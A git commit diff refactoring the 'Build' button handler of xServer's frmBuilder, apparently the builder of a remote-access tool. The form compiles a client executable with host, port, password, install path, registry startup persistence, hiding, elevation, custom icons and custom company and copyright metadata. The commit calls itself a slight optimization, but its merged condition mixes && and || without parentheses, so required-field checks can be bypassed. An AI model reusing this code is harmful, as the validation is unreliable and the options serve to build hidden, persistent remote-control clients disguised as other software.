Compacted Builder method

Compacted the validation on frmBuilder's btnBuild_Click(object,
EventArgs) method. This is a slight optimization, but it does help
remove the repetitive else statements.
This commit is contained in:
yankejustin 2015-04-07 14:07:42 -04:00
parent d5cb5b9c92
commit e720d20811
1 changed files with 53 additions and 60 deletions

View File

@ -202,71 +202,64 @@ namespace xServer.Forms
private void btnBuild_Click(object sender, EventArgs e) private void btnBuild_Click(object sender, EventArgs e)
{ {
if (!string.IsNullOrEmpty(txtHost.Text) && !string.IsNullOrEmpty(txtPort.Text) && !string.IsNullOrEmpty(txtDelay.Text) && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text)) if (!string.IsNullOrEmpty(txtHost.Text) && !string.IsNullOrEmpty(txtPort.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection Information
!string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // Client Options
!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) && !string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation Options
!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) // Persistence and Registry Features
{ {
if (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) && !string.IsNullOrEmpty(txtInstallsub.Text))) string output = string.Empty;
string icon = string.Empty;
if (chkIconChange.Checked)
{ {
if (!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) using (OpenFileDialog ofd = new OpenFileDialog())
{ {
string output = string.Empty; ofd.Filter = "Icons *.ico|*.ico";
string icon = string.Empty; ofd.Multiselect = false;
if (ofd.ShowDialog() == DialogResult.OK)
if (chkIconChange.Checked) icon = ofd.FileName;
{ }
using (OpenFileDialog ofd = new OpenFileDialog()) }
{
ofd.Filter = "Icons *.ico|*.ico"; using (SaveFileDialog sfd = new SaveFileDialog())
ofd.Multiselect = false; {
if (ofd.ShowDialog() == DialogResult.OK) sfd.Filter = "EXE Files *.exe|*.exe";
icon = ofd.FileName; sfd.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
} sfd.FileName = "Client-built.exe";
} if (sfd.ShowDialog() == DialogResult.OK)
output = sfd.FileName;
using (SaveFileDialog sfd = new SaveFileDialog()) }
{
sfd.Filter = "EXE Files *.exe|*.exe"; if (!string.IsNullOrEmpty(output) && (!chkIconChange.Checked || !string.IsNullOrEmpty(icon)))
sfd.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); {
sfd.FileName = "Client-built.exe"; try
if (sfd.ShowDialog() == DialogResult.OK) {
output = sfd.FileName; string[] asmInfo = null;
} if (chkChangeAsmInfo.Checked)
{
if (!string.IsNullOrEmpty(output) && (!chkIconChange.Checked || !string.IsNullOrEmpty(icon))) if (!IsValidVersionNumber(txtProductVersion.Text) || !IsValidVersionNumber(txtFileVersion.Text))
{ {
try MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
{ return;
string[] asmInfo = null; }
if (chkChangeAsmInfo.Checked) asmInfo = new string[8];
{ asmInfo[0] = txtProductName.Text;
if (!IsValidVersionNumber(txtProductVersion.Text) || !IsValidVersionNumber(txtFileVersion.Text)) asmInfo[1] = txtDescription.Text;
{ asmInfo[2] = txtCompanyName.Text;
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); asmInfo[3] = txtCopyright.Text;
return; asmInfo[4] = txtTrademarks.Text;
} asmInfo[5] = txtOriginalFilename.Text;
asmInfo = new string[8]; asmInfo[6] = txtProductVersion.Text;
asmInfo[0] = txtProductName.Text; asmInfo[7] = txtFileVersion.Text;
asmInfo[1] = txtDescription.Text; }
asmInfo[2] = txtCompanyName.Text; ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);
asmInfo[3] = txtCopyright.Text; MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
asmInfo[4] = txtTrademarks.Text; }
asmInfo[5] = txtOriginalFilename.Text; catch (Exception ex)
asmInfo[6] = txtProductVersion.Text; {
asmInfo[7] = txtFileVersion.Text; MessageBox.Show(string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
ClientBuilder.Build(output, txtHost.Text, txtPassword.Text, txtInstallsub.Text, txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, chkHide.Checked, int.Parse(txtPort.Text), int.Parse(txtDelay.Text), GetInstallPath(), chkElevation.Checked, icon, asmInfo, Application.ProductVersion);
MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
catch (Exception ex)
{
MessageBox.Show(string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
} }
else
MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
} }
else
MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
} }
else else
MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);